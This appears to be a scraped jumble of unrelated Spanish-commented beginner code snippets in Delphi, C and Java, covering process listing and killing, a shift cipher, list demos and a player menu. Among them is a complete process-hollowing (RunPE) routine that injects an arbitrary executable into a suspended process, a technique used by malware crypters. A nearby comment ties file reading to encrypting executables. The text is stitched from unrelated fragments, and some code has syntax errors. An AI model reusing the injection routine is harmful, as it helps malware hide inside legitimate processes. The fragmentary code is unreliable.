free(arreglo);
 

  delete[] arreglo;
 

uses
  SysUtils,windows,TlHelp32;
 
{obtener el nombre de los procesos activos}
procedure obtenerProcesos;
var
continuar:BOOL;
snapshotHandle:THandle;
processEntry32:TProcessEntry32;
begin
    { Creas un Handle para leer procesos }
   snapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   try
    { Creás un buffer de procesos }
    processEntry32.dwSize:=sizeof(processEntry32);
    { continuar es un flag que busca el siguiente proceso y, si hay, lo guarda en processEntry32 }
    continuar:=Process32First(snapshotHandle,processEntry32);
 
    while continuar do
    begin
       {muestra los procesos por consola}
       writeln(processEntry32.szExeFile);
       {busca el siguiente proceso si retorna false sale del bucle}
       continuar:=Process32Next(snapshotHandle,processEntry32);
    end;
   finally
     {cerramos el handle llamado snapshotHandle}
     CloseHandle(snapshotHandle);
   end;
end;
 
 
{compruba si un proceso esta activo a traves de su nombre}
function ProcessExists(AExeName: String): boolean;
var
  ContinueLoop: LongBool;
  FSnapshotHandle: THandle;
  FProcess: TProcessEntry32;
  FExeFound: TFileName;
begin
  { Limpias el hacés un genérico para el FileName }
  AExeName := UpperCase(AExeName);
  Result := False;
  { Creas un Handle para leer procesos }
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  { Creás un buffer de procesos }
  FProcess.dwSize := SizeOf(FProcess);
  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  while (ContinueLoop) and NOT(Result) do
  begin
    { Almacenás el nombre "genéroco" del proceso encontrado }
    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
    Result := (FExeFound = AExeName);
    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  end;
  { Cerrás el Handle }
  CloseHandle(FSnapshotHandle);
end;
 
 
{mata algun proceso activo}
function ProcessKill(AExeName: String; Iterative: boolean = TRUE): boolean;
const
  TERMINATE = $0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcess: TProcessEntry32;
  FExeFound: TFileName;
Label NO_ITERATIVE;
begin
  Result := False;
  { Limpias el hacés un genérico para el FileName }
  AExeName := UpperCase((AExeName));
  { Creas un Handle para leer procesos }
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  { Creás un buffer de procesos }
  FProcess.dwSize := SizeOf(FProcess);
  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  while (ContinueLoop) do
  begin
    { Almacenás el nombre "genéroco" del proceso encontrado }
    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
    if (FExeFound = AExeName) then
    begin
      Result := True;
      { Para matarlo lo debés abrir con el flag de TERMINATE }
      TerminateProcess(OpenProcess(TERMINATE, BOOL(0), FProcess.th32ProcessID),0);
      if NOT(Iterative) then { Si no es iterativo sale directamente a cerrar el Handle }
        GoTo NO_ITERATIVE;
    end;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  end;
NO_ITERATIVE :
  CloseHandle(FSnapshotHandle);
end;
 
 
begin
 
  obtenerProcesos;//muestra el nombre de los procesos activos
  writeln;
  writeln('Existe calc.exe ',ProcessExists('calc.exe')); //es la calculadora de windows
  Writeln('Proceso matado ',ProcessKill('calc.exe'));
  readln;
end.
 

void cifrar(char cadena[],int clave,int size){
  int i;
  for(i=0;i<size;i++){
	cadena[i]=(char)((int)cadena[i]+clave);
  }
}
 
void descifrar(char cadena[],int clave,int size){
  int i;
  for(i=0;i<size;i++){
	cadena[i]=(char)((int)cadena[i]-clave);
  }
}
 
 
 
 
int main()
{
	char cadena[]="hola mundo";
	int size=strlen(cadena);
	cifrar(cadena,13,size);
	printf("cadena cifrada: %s",cadena);
	descifrar(cadena,13,size);
	printf("\ncadena descifrada: %s",cadena);
 
	getch();
	return 0;
}

import java.util.ArrayList;
import java.util.List;
 
/**
 *
 * @author crack81
 */
public class UsandoList {
 
    public static void main(String[] args) {
 
        List<Jugador> jugadores=new ArrayList<Jugador>();//esto es similar al vector en c++
        Jugador j1=new Jugador("javier torres");//creamos un nuevo jugador
        jugadores.add(j1);//lo añadimos a la lista de jugadores
        System.out.println(jugadores.get(0).getNombre());//obtenemos el nombre del primer jugador en la lista a traves del index
 
        for(int i=1;i<=10;i++){//creamos un for que añadira 10 jugadores a la lista
            jugadores.add(new Jugador("jugador nuemero "+i));//creamos nuevo jugadores con numero diferente
        }
 
        System.out.println("------------------------------------------------");
        for(Jugador jdor:jugadores){//usamos un for each para mostrar todos los nombres de los jugadores
            System.out.println(jdor.getNombre());//mostramos todos los nombres
        }
 
    }
 
}
 
class Jugador{
 
    private String nombre;
 
    public Jugador(final String nombre){//constructor de la clase
      this.nombre=nombre;    
    }
 
    public void setNombre(String nombre){//camabiamos el nombre
      this.nombre=nombre;
    }
 
    public String getNombre(){//obtenemos el nombre actual
      return nombre;
    }
}
 

unit Unit1;
 
interface
uses windows;
 
procedure run(szFilePath:LPSTR;pFile:PVOID);
 
implementation
 
function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
procedure RtlZeroMemory(Destination:pointer;Length:DWORD);stdcall;external 'ntdll';
 
procedure run(szFilePath:LPSTR;pFile:PVOID);
var
IDH:PImageDosHeader;
INH:PImageNtHeaders;
ISH:PImageSectionHeader;
PI:PROCESS_INFORMATION;
SI:STARTUPINFOA;
CTX:PContext;
dwImageBase:PDWORD;
pImageBase:LPVOID;
count:Integer;
BitesRead:SIZE_T;
ByteWritten:SIZE_T;
ByteWritten2:SIZE_T;
ByteWritten3:SIZE_T;
begin
  IDH:=PImageDosHeader(pFile);
  if (IDH.e_magic=IMAGE_DOS_SIGNATURE) then
  begin
    INH:=PImageNtHeaders(DWORD(pFile)+IDH._lfanew);
    if INH.Signature=IMAGE_NT_SIGNATURE then
    begin
      RtlZeroMemory(@SI,sizeof(SI));
      RtlZeroMemory(@PI, sizeof(PI));
 
      if( CreateProcessA(szFilePath,nil,nil,nil,false,CREATE_SUSPENDED,nil,nil,SI,PI)) then
      begin
         CTX:=PContext(VirtualAlloc(nil,sizeof(CTX),MEM_COMMIT,PAGE_READWRITE));
         CTX.ContextFlags:=CONTEXT_FULL;
 
         if GetThreadContext(PI.hThread,_CONTEXT(CTX^)) then
         begin
           ReadProcessMemory(PI.hProcess,pointer(CTX.Ebx+8),pointer(@dwImageBase),4,BitesRead);
 
           if (Dword(dwImageBase)=INH.OptionalHeader.ImageBase) then
           begin
             NtUnmapViewOfSection(PI.hProcess,pointer(dwImageBase));
           end;
 
            pImageBase:= VirtualAllocEx(PI.hProcess, POINTER(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, 12288, PAGE_EXECUTE_READWRITE);
            if pImageBase<>nil then
            begin
              WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH.OptionalHeader.SizeOfHeaders, ByteWritten);
              for count := 0 to INH.FileHeader.NumberOfSections-1 do
              BEGIN
                  ISH:=PImageSectionHeader(DWORD(pFile) + IDH._lfanew+ 248 + (Count * 40));
                  WriteProcessMemory(PI.hProcess, pointer(DWORD(pImageBase) + ISH.VirtualAddress), pointer(DWORD(pFile) + ISH.PointerToRawData), ISH.SizeOfRawData, ByteWritten2);
              END;
 
               WriteProcessMemory(PI.hProcess, pointer(CTX.Ebx + 8), pointer(@INH.OptionalHeader.ImageBase), 4, ByteWritten3);
               CTX.Eax := DWORD(pImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
               SetThreadContext(PI.hThread, _CONTEXT(CTX^));
               ResumeThread(PI.hThread);
            end;
 
         end;
 
      end;
 
    end;
 
  end;
   VirtualFree(ctx, 0, MEM_RELEASE)
 
end;
 
end.

function numberIsInRange(const number,min,max:integer):boolean;
begin
 result:=((min<=number) and (number<=max));
end;
 
begin
    writeln(numberIsInRange(5,1,100);  //muestra true
    writeln(numberIsInRange(0,55,98);  //muestra false
    writeln(numberIsInRange(25,55,98); //muestra true
    Readln;
end.
 

procedure sizeMaxOfDataType;
begin
  writeln('Byte    -> ',low(Byte),' to ',high(Byte));
  writeln('Integer -> ',low(integer),' to ',high(integer));
  writeln('Int64   -> ',low(Int64),' to ',high(Int64));
  writeln('LongInt -> ',low(LongInt),' to ',high(LongInt));
  writeln('Longword -> ',low(Longword),' to ',high(Longword));
  writeln('Word -> ',low(Word),' to ',high(Word));
end;

uses
  SysUtils,classes;
 
{
Funcion que lee un fichero y lo convierte a string el caso mas comun es
cuando necesitas leer un exe y hacer alguna modifcacion como cifrarlo o
alterar su informacion la funcion necesita el use classes para poder llamar a
la clase Tfilestream
 
}
function binaryToString(const path:string):String;
var
_File:TFileStream;
size:Int64;
begin
  if FileExists(path) then
  begin
    _File:=TFileStream.Create(path,fmOpenRead);
    try
      size:=_File.Size;
      SetLength(result,size);
      _File.Read(result[1],size);
    finally
      _File.Free;
    end;
  end
  else result:='';
end;
 
 
{Funcion para crear un fichero en base a un string que le pasemos, esta
 funcion se usa en conjunto con la anterior ya que despues de leer y modificar
 un fichero necesitamos volver a regresarlo a un estado de fichero  por eso la
 necesidad de esta funcion.
}
function stringToBinary(const nameExe,source:string):Boolean;
var
 _File:TFileStream;
begin
  result:=false;
  _File:=TFileStream.Create(nameExe,fmCreate);
  try
    _File.Write(source[1],length(source));
  finally
    _File.Free;
  end;
 
  result:=true;
end;
 
var
source:string;
begin
    source:=binaryToString('C:\archivo.exe');
    stringToBinary('C:\nuevoArchivo.exe',source);
    writeln('listo');
    Readln;
end.
 

void Gestionar_jugadores()
{
	system("cls");
	jugador jugadores[CANTJUG];
					//inicializo todo el arreglo
	int i;
	for (i=0; i<CANTJUG;i++)
	{
		inicializo(jugadores,i);
	}
 
 
 
	int op;
	while (op!=4)
	{
		system("cls");
		printf("MENU\n");
		printf("====\n");
		printf("1-Alta de jugador\n");
		printf("2-Baja de jugador\n");
		printf("3-Modificacion jugador\n");
		printf("4-Volver al menu anterior\n");
		printf("\n\n");
		op = ingopcion();
 
		switch (op)
		{
            case 1:
					alta(jugadores);
                    break;
            case 2:
					baja(jugadores);
                    break;
            case 3:
					modificacion(jugadores);
                    break;
            case 4: menu();
					break;
        }
 
	}
 
 
}
 

void alta(jugador jugadores[])//problema me sigue pidiendo jugadores en vez de volver al menu
{
	char confirma;
	int nroJug;
	system("cls");
	printf("\nINGRESO DATOS DE JUGADORES");
	printf("\n==========================\n");
	nroJug = ingNroJugador();
	if (jugadores[nroJug-1].nombre.largopalabra==0)
	{
		jugadores[nroJug-1].nombre = ingresoNombre();
		jugadores[nroJug-1].apellido = ingresoApellido();
		jugadores[nroJug-1].cedula = ingresoCedula();
		jugadores[nroJug-1].fechanacimiento = ingresoFechanacimiento();
		jugadores[nroJug-1].alias = ingresoAlias();
		getchar();
		printf("Confirma Ingreso S/N");
		fflush(stdin);
		scanf("%c",&confirma);
		getchar();
		if (confirma=='N' || confirma == 'n')
		{
			inicializo(jugadores,nroJug-1);
			menu();
		}
	}
	else
	{
		getchar();
		printf("\nJugador YA existe");
		printf("\nPresione cualquier tecla para continuar");
		getchar();
	}
 
}

int main()
{
	char nombre[10]="maria";
 
	//Esto es un arreglo bidimensinal
	//el primer corcheta es la cantidad de nombres
	//el segundo corchete es el tamano maximo de caracteres por cada nombre
	char nombres[4][10]={"jose","maria","rosa","sara"};
 
	int i;
	for(i=0;i<4;i++){
	  printf("%s\n",nombres[i]);   //mostramos todos los nombres
	  if(strcmp(nombre,nombres[i])==0){
		printf("se encontro el nombre en la lista\n");//si encuentra el nombre muestra el mensaje
	  }
	}
 
	getchar();
	return 0;
}